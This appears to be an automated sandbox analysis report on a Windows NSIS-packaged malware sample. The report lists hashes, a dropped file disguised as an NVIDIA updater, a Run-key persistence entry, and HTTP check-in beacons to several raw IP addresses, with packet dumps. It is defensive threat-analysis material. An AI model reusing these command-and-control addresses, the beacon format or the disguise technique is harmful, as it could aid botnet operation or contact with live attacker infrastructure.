Analysis Date2015-05-29 07:37:36
MD5c2c55f013db70bf0272d814a045e3258
SHA1e496b2ac59ff314e5415ab382cb4b83761f336f3

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: e80992014f71a8d74a073aae70d08af5 sha1: aae7a06dabaaea701fd3ee7e60caca9231586191 size: 24064
Section.rdata md5: c9f64a3006462e830a22bdd4740678e5 sha1: f826180bec15822759dbe35685cab921f2dfda70 size: 5120
Section.data md5: a81e24eb26c207ab205634c089d49bbd sha1: ea171d3fd65bfe4a3f7323478f4eece0e2fb874f size: 1024
Section.ndata md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
Section.rsrc md5: cd7e2b9713463e202f16fd9f7ba4dcfa sha1: a7cae8f1e74fc2a208480791c1e25c56417cb226 size: 2560
Timestamp2009-12-05 22:50:58
PackerNullsoft PiMP Stub -> SFX
PEhash8634f676afcce193953762d0ee8dfaec0ca4b777
IMPhash099c0646ea7282d232219f8807883be0

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\NvUpdSrv ➝
C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Updates\NvdUpd.exe\\x00
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsb2.tmp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Updates\NvdUpd.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsr3.tmp\System.dll
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsr3.tmp\System.dll
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsr3.tmp
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsr1.tmp
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Updates\NvdUpd.exe
Creates Mutex9d931259-94fc-b845-ddb8-ef5f5ced5c30

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Updates\NvdUpd.exe

RegistryHKEY_CURRENT_USER\SOFTWARE\NVIDIA Corporation\Global\nvUpdSrv\value ➝
21150423\\x00
Creates File\Device\Afd\Endpoint
Creates MutexGlobal\MD7H82HHF7EH2D73

Network Details:

HTTP GEThttp://115.112.200.88:21160/stat?uid=100&downlink=1111&uplink=1111&id=0001720E&statpass=bpass&version=21150423&features=30&guid=a3dd0c0b-0379-4ef4-b4dd-9201782416e4&comment=21150423&p=0&s=
User-Agent:
HTTP GEThttp://217.28.192.36:37228/stat?uid=100&downlink=1111&uplink=1111&id=000185D4&statpass=bpass&version=21150423&features=30&guid=a3dd0c0b-0379-4ef4-b4dd-9201782416e4&comment=21150423&p=0&s=
User-Agent:
HTTP GEThttp://159.253.36.128:15206/stat?uid=100&downlink=1111&uplink=1111&id=0001997C&statpass=bpass&version=21150423&features=30&guid=a3dd0c0b-0379-4ef4-b4dd-9201782416e4&comment=21150423&p=0&s=
User-Agent:
HTTP GEThttp://212.175.87.184:49205/stat?uid=100&downlink=1111&uplink=1111&id=0001AD23&statpass=bpass&version=21150423&features=30&guid=a3dd0c0b-0379-4ef4-b4dd-9201782416e4&comment=21150423&p=0&s=
User-Agent:
HTTP GEThttp://115.112.200.88:21160/stat?uid=100&downlink=1111&uplink=1111&id=0001C0BB&statpass=bpass&version=21150423&features=30&guid=a3dd0c0b-0379-4ef4-b4dd-9201782416e4&comment=21150423&p=0&s=
User-Agent:
HTTP GEThttp://108.163.208.82:45297/stat?uid=100&downlink=1111&uplink=1111&id=0001D452&statpass=bpass&version=21150423&features=30&guid=a3dd0c0b-0379-4ef4-b4dd-9201782416e4&comment=21150423&p=0&s=
User-Agent:
HTTP GEThttp://209.80.40.160:45872/stat?uid=100&downlink=1111&uplink=1111&id=0001E7EA&statpass=bpass&version=21150423&features=30&guid=a3dd0c0b-0379-4ef4-b4dd-9201782416e4&comment=21150423&p=0&s=
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 115.112.200.88:21160
Flows TCP192.168.1.1:1031 ➝ 115.112.200.88:21160
Flows TCP192.168.1.1:1032 ➝ 217.28.192.36:37228
Flows TCP192.168.1.1:1033 ➝ 159.253.36.128:15206
Flows TCP192.168.1.1:1034 ➝ 212.175.87.184:49205
Flows TCP192.168.1.1:1035 ➝ 115.112.200.88:21160
Flows TCP192.168.1.1:1036 ➝ 108.163.208.82:45297
Flows TCP192.168.1.1:1037 ➝ 209.80.40.160:45872

Raw Pcap
0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303137 32304526 73746174 70617373   001720E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   31313530 34323326 66656174 75726573   1150423&features
0x00000060 (00096)   3d333026 67756964 3d613364 64306330   =30&guid=a3dd0c0
0x00000070 (00112)   622d3033 37392d34 6566342d 62346464   b-0379-4ef4-b4dd
0x00000080 (00128)   2d393230 31373832 34313665 3426636f   -9201782416e4&co
0x00000090 (00144)   6d6d656e 743d3231 31353034 32332670   mment=21150423&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303138 35443426 73746174 70617373   00185D4&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   31313530 34323326 66656174 75726573   1150423&features
0x00000060 (00096)   3d333026 67756964 3d613364 64306330   =30&guid=a3dd0c0
0x00000070 (00112)   622d3033 37392d34 6566342d 62346464   b-0379-4ef4-b4dd
0x00000080 (00128)   2d393230 31373832 34313665 3426636f   -9201782416e4&co
0x00000090 (00144)   6d6d656e 743d3231 31353034 32332670   mment=21150423&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303139 39374326 73746174 70617373   001997C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   31313530 34323326 66656174 75726573   1150423&features
0x00000060 (00096)   3d333026 67756964 3d613364 64306330   =30&guid=a3dd0c0
0x00000070 (00112)   622d3033 37392d34 6566342d 62346464   b-0379-4ef4-b4dd
0x00000080 (00128)   2d393230 31373832 34313665 3426636f   -9201782416e4&co
0x00000090 (00144)   6d6d656e 743d3231 31353034 32332670   mment=21150423&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303141 44323326 73746174 70617373   001AD23&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   31313530 34323326 66656174 75726573   1150423&features
0x00000060 (00096)   3d333026 67756964 3d613364 64306330   =30&guid=a3dd0c0
0x00000070 (00112)   622d3033 37392d34 6566342d 62346464   b-0379-4ef4-b4dd
0x00000080 (00128)   2d393230 31373832 34313665 3426636f   -9201782416e4&co
0x00000090 (00144)   6d6d656e 743d3231 31353034 32332670   mment=21150423&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303143 30424226 73746174 70617373   001C0BB&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   31313530 34323326 66656174 75726573   1150423&features
0x00000060 (00096)   3d333026 67756964 3d613364 64306330   =30&guid=a3dd0c0
0x00000070 (00112)   622d3033 37392d34 6566342d 62346464   b-0379-4ef4-b4dd
0x00000080 (00128)   2d393230 31373832 34313665 3426636f   -9201782416e4&co
0x00000090 (00144)   6d6d656e 743d3231 31353034 32332670   mment=21150423&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303144 34353226 73746174 70617373   001D452&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   31313530 34323326 66656174 75726573   1150423&features
0x00000060 (00096)   3d333026 67756964 3d613364 64306330   =30&guid=a3dd0c0
0x00000070 (00112)   622d3033 37392d34 6566342d 62346464   b-0379-4ef4-b4dd
0x00000080 (00128)   2d393230 31373832 34313665 3426636f   -9201782416e4&co
0x00000090 (00144)   6d6d656e 743d3231 31353034 32332670   mment=21150423&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303145 37454126 73746174 70617373   001E7EA&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   31313530 34323326 66656174 75726573   1150423&features
0x00000060 (00096)   3d333026 67756964 3d613364 64306330   =30&guid=a3dd0c0
0x00000070 (00112)   622d3033 37392d34 6566342d 62346464   b-0379-4ef4-b4dd
0x00000080 (00128)   2d393230 31373832 34313665 3426636f   -9201782416e4&co
0x00000090 (00144)   6d6d656e 743d3231 31353034 32332670   mment=21150423&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..


Strings
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!1Aa
#+3;CScs
msctls_progress32
MS Shell Dlg
SysListView32
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ADVAPI32
ADVAPI32.dll
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AppendMenuA
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CallWindowProcA
"=c%gE
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CharNextA
CharPrevA
CheckDlgButton
CloseClipboard
CloseHandle
cn=eYF
CoCreateInstance
COMCTL32.dll
CompareFileTime
Control Panel\Desktop\ResourceLocale
CopyFileA
CoTaskMemFree
!:CP0L
CreateBrushIndirect
CreateDialogParamA
CreateDirectoryA
CreateFileA
CreateFontIndirectA
CreatePopupMenu
CreateProcessA
CreateThread
CreateWindowExA
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EndPaint
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ExitProcess
ExitWindowsEx
ExpandEnvironmentStringsA
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FindClose
FindFirstFileA
FindNextFileA
FindWindowExA
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GDI32.dll
GetClassInfoA
GetClientRect
GetCommandLineA
GetCurrentProcess
GetDeviceCaps
GetDiskFreeSpaceA
GetDiskFreeSpaceExA
GetDlgItem
GetDlgItemTextA
GetExitCodeProcess
GetFileAttributesA
GetFileSize
GetFileVersionInfoA
GetFileVersionInfoSizeA
GetFullPathNameA
GetLastError
GetMessagePos
GetModuleFileNameA
GetModuleHandleA
GetPrivateProfileStringA
GetProcAddress
GetShortPathNameA
GetSysColor
GetSystemDirectoryA
GetSystemMenu
GetSystemMetrics
GetTempFileNameA
GetTempPathA
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GetUserDefaultUILanguage
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GetWindowLongA
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GetWindowsDirectoryA
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GlobalLock
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MoveFileA
MoveFileExA
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RegCreateKeyExA
RegDeleteKeyA
RegDeleteKeyExA
RegDeleteValueA
RegEnumKeyA
RegEnumValueA
RegisterClassA
RegOpenKeyExA
RegQueryValueExA
RegSetValueExA
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SetFileAttributesA
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ShellExecuteA
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SHGetFolderPathA
SHGetPathFromIDListA
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>
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